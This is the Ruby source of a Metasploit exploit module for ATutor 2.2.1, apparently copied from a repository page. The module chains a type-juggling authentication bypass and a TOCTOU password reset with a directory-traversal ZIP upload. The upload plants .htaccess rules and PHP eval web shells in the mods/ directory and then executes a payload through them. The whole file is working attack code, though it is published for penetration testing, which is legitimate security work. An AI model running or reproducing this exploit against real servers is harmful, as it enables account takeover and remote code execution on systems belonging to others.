Path: blob/master/modules/exploits/linux/http/atutor_filemanager_traversal.rb
19515 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient9include Msf::Exploit::FileDropper1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'ATutor 2.2.1 Directory Traversal / Remote Code Execution',16'Description' => %q{17This module exploits a directory traversal vulnerability in ATutor on an Apache/PHP18setup with display_errors set to On, which can be used to allow us to upload a malicious19ZIP file. On the web application, a blacklist verification is performed before extraction,20however it is not sufficient to prevent exploitation.2122You are required to login to the target to reach the vulnerability, however this can be23done as a student account and remote registration is enabled by default.2425Just in case remote registration isn't enabled, this module uses 2 vulnerabilities26in order to bypass the authentication:27281. confirm.php Authentication Bypass Type Juggling vulnerability292. password_reminder.php Remote Password Reset TOCTOU vulnerability30},31'License' => MSF_LICENSE,32'Author' => [33'mr_me <steventhomasseeley[at]gmail.com>', # initial discovery, msf code34],35'References' => [36[ 'URL', 'http://www.atutor.ca/' ], # Official Website37[ 'URL', 'http://sourceincite.com/research/src-2016-09/' ], # Type Juggling Advisory38[ 'URL', 'http://sourceincite.com/research/src-2016-10/' ], # TOCTOU Advisory39[ 'URL', 'http://sourceincite.com/research/src-2016-11/' ], # Directory Traversal Advisory40[ 'URL', 'https://github.com/atutor/ATutor/pull/107' ]41],42'Privileged' => false,43'Payload' => {44'DisableNops' => true45},46'Platform' => ['php'],47'Arch' => ARCH_PHP,48'Targets' => [[ 'Automatic', {}]],49'DisclosureDate' => '2016-03-01',50'DefaultTarget' => 0,51'Notes' => {52'Reliability' => UNKNOWN_RELIABILITY,53'Stability' => UNKNOWN_STABILITY,54'SideEffects' => UNKNOWN_SIDE_EFFECTS55}56)57)5859register_options(60[61OptString.new('TARGETURI', [true, 'The path of Atutor', '/ATutor/']),62OptString.new('USERNAME', [false, 'The username to authenticate as']),63OptString.new('PASSWORD', [false, 'The password to authenticate with'])64]65)66end6768def post_auth?69true70end7172def print_status(msg = '')73super("#{peer} - #{msg}")74end7576def print_error(msg = '')77super("#{peer} - #{msg}")78end7980def print_good(msg = '')81super("#{peer} - #{msg}")82end8384def check85# there is no real way to finger print the target so we just86# check if we can upload a zip and extract it into the web root...87# obviously not ideal, but if anyone knows better, feel free to change88unless datastore['USERNAME'] && datastore['PASSWORD']89# if we cant login, it may still be vuln90return Exploit::CheckCode::Unknown 'Check requires credentials. The target may still be vulnerable. If so, it may be possible to bypass authentication.'91end9293student_cookie = login(datastore['USERNAME'], datastore['PASSWORD'], check = true)94if !student_cookie.nil? && disclose_web_root95begin96if upload_shell(student_cookie, check = true) && found97return Exploit::CheckCode::Vulnerable98end99rescue Msf::Exploit::Failed => e100vprint_error(e.message)101end102end103return Exploit::CheckCode::Unknown104end105106def create_zip_file(check = false)107zip_file = Rex::Zip::Archive.new108@header = Rex::Text.rand_text_alpha_upper(4)109@payload_name = Rex::Text.rand_text_alpha_lower(4)110@archive_name = Rex::Text.rand_text_alpha_lower(3)111@test_string = Rex::Text.rand_text_alpha_lower(8)112# we traverse back into the webroot mods/ directory (since it will be writable)113path = "../../../../../../../../../../../../..#{@webroot}mods/"114115# we use this to give us the best chance of success. If a webserver has htaccess override enabled116# we will win. If not, we may still win because these file extensions are often registered as php117# with the webserver, thus allowing us remote code execution.118if check119zip_file.add_file("#{path}#{@payload_name}.txt", @test_string.to_s)120else121register_file_for_cleanup('.htaccess', "#{@payload_name}.pht", "#{@payload_name}.php4", "#{@payload_name}.phtml")122zip_file.add_file("#{path}.htaccess", 'AddType application/x-httpd-php .phtml .php4 .pht')123zip_file.add_file("#{path}#{@payload_name}.pht", "<?php eval(base64_decode($_SERVER['HTTP_#{@header}'])); ?>")124zip_file.add_file("#{path}#{@payload_name}.php4", "<?php eval(base64_decode($_SERVER['HTTP_#{@header}'])); ?>")125zip_file.add_file("#{path}#{@payload_name}.phtml", "<?php eval(base64_decode($_SERVER['HTTP_#{@header}'])); ?>")126end127zip_file.pack128end129130def found131res = send_request_cgi({132'method' => 'GET',133'uri' => normalize_uri(target_uri.path, 'mods', "#{@payload_name}.txt")134})135if res && (res.code == 200) && res.body =~ /#{@test_string}/136return true137end138139return false140end141142def disclose_web_root143res = send_request_cgi({144'method' => 'GET',145'uri' => normalize_uri(target_uri.path, 'jscripts', 'ATutor_js.php')146})147@webroot = '/'148@webroot << Regexp.last_match(1) if res && res.body =~ %r{\<b\>/(.*)jscripts/ATutor_js\.php\</b\> }149if @webroot != '/'150return true151end152153return false154end155156def call_php(ext)157res = send_request_cgi({158'method' => 'GET',159'uri' => normalize_uri(target_uri.path, 'mods', "#{@payload_name}.#{ext}"),160'raw_headers' => "#{@header}: #{Rex::Text.encode_base64(payload.encoded)}\r\n"161}, timeout = 0.1)162return res163end164165def exec_code166res = call_php('pht')167unless res168res = call_php('phtml')169unless res170call_php('php4')171end172end173end174175def upload_shell(cookie, check)176post_data = Rex::MIME::Message.new177post_data.add_part(create_zip_file(check), 'application/zip', nil, "form-data; name=\"file\"; filename=\"#{@archive_name}.zip\"")178post_data.add_part(Rex::Text.rand_text_alpha_upper(4).to_s, nil, nil, 'form-data; name="submit_import"')179data = post_data.to_s180res = send_request_cgi({181'uri' => normalize_uri(target_uri.path, 'mods', '_standard', 'tests', 'question_import.php'),182'method' => 'POST',183'data' => data,184'ctype' => "multipart/form-data; boundary=#{post_data.bound}",185'cookie' => cookie,186'vars_get' => {187'h' => ''188}189})190if res && res.code == 302 && res.redirection.to_s.include?('question_db.php')191return true192end193194# unknown failure...195fail_with(Failure::Unknown, 'Unable to upload php code')196return false197end198199def find_user(cookie)200res = send_request_cgi({201'method' => 'GET',202'uri' => normalize_uri(target_uri.path, 'users', 'profile.php'),203'cookie' => cookie,204# we need to set the agent to the same value that was in type_juggle,205# since the bypassed session is linked to the user-agent. We can then206# use that session to leak the username207'agent' => ''208})209username = Regexp.last_match(1).to_s if res && res.body =~ %r{<span id="login">(.*)</span>}210if username211return username212end213214# else we fail, because we dont know the username to login as215fail_with(Failure::Unknown, 'Unable to find the username!')216end217218def type_juggle219# high padding, means higher success rate220# also, we use numbers, so we can count requests :p221for i in 1..8222for @number in ('0' * i..'9' * i)223res = send_request_cgi({224'method' => 'POST',225'uri' => normalize_uri(target_uri.path, 'confirm.php'),226'vars_post' => {227'auto_login' => '',228'code' => '0' # type juggling229},230'vars_get' => {231'e' => @number, # the bruteforce232'id' => '',233'm' => '',234# the default install script creates a member235# so we know for sure, that it will be 1236'member_id' => '1'237},238# need to set the agent, since we are creating x number of sessions239# and then using that session to get leak the username240'agent' => ''241}, redirect_depth = 0) # to validate a successful bypass242if res && (res.code == 302)243cookie = "ATutorID=#{Regexp.last_match(3)};" if res.get_cookies =~ /ATutorID=(.*); ATutorID=(.*); ATutorID=(.*);/244return cookie245end246end247end248# if we finish the loop and have no sauce, we cant make pasta249fail_with(Failure::Unknown, 'Unable to exploit the type juggle and bypass authentication')250end251252def reset_password253# this is due to line 79 of password_reminder.php254days = (Time.now.to_i / 60 / 60 / 24)255# make a semi strong password, we have to encourage security now :->256pass = Rex::Text.rand_text_alpha(32)257hash = Rex::Text.sha1(pass)258res = send_request_cgi({259'method' => 'POST',260'uri' => normalize_uri(target_uri.path, 'password_reminder.php'),261'vars_post' => {262'form_change' => 'true',263# the default install script creates a member264# so we know for sure, that it will be 1265'id' => '1',266'g' => days + 1, # needs to be > the number of days since epoch267'h' => '', # not even checked!268'form_password_hidden' => hash, # remotely reset the password269'submit' => 'Submit'270}271}, redirect_depth = 0) # to validate a successful bypass272273if res && (res.code == 302)274return pass275end276277# if we land here, the TOCTOU failed us278fail_with(Failure::Unknown, 'Unable to exploit the TOCTOU and reset the password')279end280281def login(username, password, check = false)282hash = Rex::Text.sha1(Rex::Text.sha1(password))283res = send_request_cgi({284'method' => 'POST',285'uri' => normalize_uri(target_uri.path, 'login.php'),286'vars_post' => {287'form_password_hidden' => hash,288'form_login' => username,289'submit' => 'Login',290'token' => ''291}292})293# poor php developer practices294cookie = "ATutorID=#{Regexp.last_match(4)};" if res && res.get_cookies =~ /ATutorID=(.*); ATutorID=(.*); ATutorID=(.*); ATutorID=(.*);/295if res && res.code == 302296if res.redirection.to_s.include?('bounce.php?course=0')297return cookie298end299end300# auth failed if we land here, bail301unless check302fail_with(Failure::NoAccess, "Authentication failed with username #{username}")303end304return nil305end306307def exploit308# login if needed309if datastore['USERNAME'] && datastore['PASSWORD']310store_valid_credential(user: datastore['USERNAME'], private: datastore['PASSWORD'])311student_cookie = login(datastore['USERNAME'], datastore['PASSWORD'])312print_good("Logged in as #{datastore['USERNAME']}")313# else, we reset the students password via a type juggle vulnerability314else315print_status('Account details are not set, bypassing authentication...')316print_status('Triggering type juggle attack...')317student_cookie = type_juggle318print_good("Successfully bypassed the authentication in #{@number} requests !")319username = find_user(student_cookie)320print_good("Found the username: #{username} !")321password = reset_password322print_good("Successfully reset the #{username}'s account password to #{password} !")323report_cred(user: username, password: password)324student_cookie = login(username, password)325print_good("Logged in as #{username}")326end327328if disclose_web_root329print_good('Found the webroot')330# we got everything. Now onto pwnage331if upload_shell(student_cookie, false)332print_good('Zip upload successful !')333exec_code334end335end336end337end338339def service_details340super.merge({ post_reference_name: refname })341end342343344